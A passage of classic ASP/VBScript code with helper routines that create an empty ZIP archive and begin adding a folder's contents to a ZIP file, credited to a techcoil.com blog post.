objTextFile.Write Chr(80) & Chr(75) & Chr(5) & Chr(6) & String(18, 0)
objTextFile.Close
Set objFSO = Nothing
Set objTextFile = Nothing
'Wscript.Sleep 500
End Sub
''
' Add a folders contents to a ZIP file
'
' @link http://www.techcoil.com/blog/handy-vbscript-functions-for-dealing-with-zip-files-and-folders/ Source
' @param string strZipFile Path to the ZIP file
' @param string strSource Source folder
''
Sub zipAdd(strZipFile, strSource)
Dim objFSO
Set objFSO = Server.CreateObject("Scripting.FileSystemObject")
strZipFile = objFSO.GetAbsolutePathName(strZipFile)
strSource = objFSO.GetAbsolutePathName(strSource)
If objFSO.FileExists(strZipFile) Then
objFSO.DeleteFile strZipFile
End If
If Not objFSO.FolderExists(strSource) Then